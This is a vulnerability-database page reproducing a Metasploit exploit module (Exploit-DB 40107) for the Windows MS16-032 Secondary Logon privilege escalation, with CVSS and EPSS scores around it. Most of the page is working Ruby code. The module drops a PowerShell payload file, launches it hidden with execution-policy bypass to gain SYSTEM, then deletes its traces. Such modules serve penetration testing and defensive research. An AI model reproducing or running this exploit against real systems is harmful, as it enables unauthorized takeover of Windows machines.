Lucene search

K
exploitdbMetasploitEDB-ID:40107
HistoryJul 13, 2016 - 12:00 a.m.

Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) (Metasploit)

2016-07-1300:00:00
Metasploit
www.exploit-db.com
248

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.0004 Low

EPSS

Percentile

9.3%

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'

class MetasploitModule < Msf::Exploit::Local

  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'MS16-032 Secondary Logon Handle Privilege Escalation',
      'Description'   => %q{
        This module exploits the lack of sanitization of standard handles in Windows' Secondary
        Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
        32 and 64 bit.  This module will only work against those versions of Windows with
        Powershell 2.0 or later and systems with two or more CPU cores.
      },
       'License'       => BSD_LICENSE,
       'Author'        =>
         [
           'James Forshaw', # twitter.com/tiraniddo
           'b33f',          # @FuzzySec, http://www.fuzzysecurity.com'
           'khr0x40sh'
         ],
       'References'    =>
         [
           [ 'MS', 'MS16-032'],
           [ 'CVE', '2016-0099'],
           [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
           [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
         ],
        'DefaultOptions' =>
          {
            'WfsDelay' => 30,
            'EXITFUNC' => 'thread'
          },
        'DisclosureDate' => 'Mar 21 2016',
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets'        =>
          [
            # Tested on (32 bits):
            # * Windows 7 SP1
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
            # Tested on (64 bits):
            # * Windows 7 SP1
            # * Windows 8
            # * Windows 2012
            [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
          ],
        'DefaultTarget' => 0
      ))

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
        OptBool.new(  'DRY_RUN', [false, 'Only show what would be done', false ]),
        # How long until we DELETE file, we have a race condition here, so anything less than 60
        # seconds might break
        OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
      ], self.class)
  end

  def get_arch
    arch = nil

    if sysinfo["Architecture"] =~ /(wow|x)64/i
      arch = ARCH_X86_64
    elsif sysinfo["Architecture"] =~ /x86/i
      arch = ARCH_X86
    end

    arch
  end

  def check
    os = sysinfo["OS"]

    if os !~ /win/i
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    arch1 = get_arch
    if check == Exploit::CheckCode::Safe
      print_error("Target is not Windows")
      return
    elsif arch1 == nil
      print_error("Architecture could not be determined.")
      return
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path)

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
      cmdstr.gsub!("System32","SYSWOW64")
      print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
      vprint_warning("#{cmdstr}")
    end

    # payload formatted to fit dropped text file
    payl = cmd_psh_payload(payload.encoded,payload.arch,{
      encode_final_payload: false,
      remove_comspec: true,
      method: 'old'
    })

    payl.sub!(/.*?(?=New-Object IO)/im, "")
    payl = payl.split("';$s.")[0]
    payl.gsub!("''","'")
    payl = "$s=#{payl}while($true){Start-Sleep 1000};"

    @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
    path = datastore['W_PATH'] || pwd
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile,"wb")
    print_status("Writing payload file, #{@upfile}...")
    fd.write(payl)
    fd.close
    psh_cmd = "IEX `$(gc #{@upfile})"

    #lpAppName
    ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
    #lpcommandLine - capped at 1024b
    ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = "Compressed size may cause command to exceed "
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    if datastore['DRY_RUN']
      print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
      return
    end

    print_status("Executing exploit script...")
    cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
    args = nil

    begin
      process = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => false
      })
    rescue
      print_error("An error occurred executing the script.")
    end
  end

  def cleanup
    sleep_t = datastore['TIMEOUT']
    vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
    sleep sleep_t

    begin
      rm_f(@upfile)
      print_good("Cleaned up #{@upfile}")
    rescue
      print_error("There was an issue with cleanup of the powershell payload script.")
    end
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.8 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.0004 Low

EPSS

Percentile

9.3%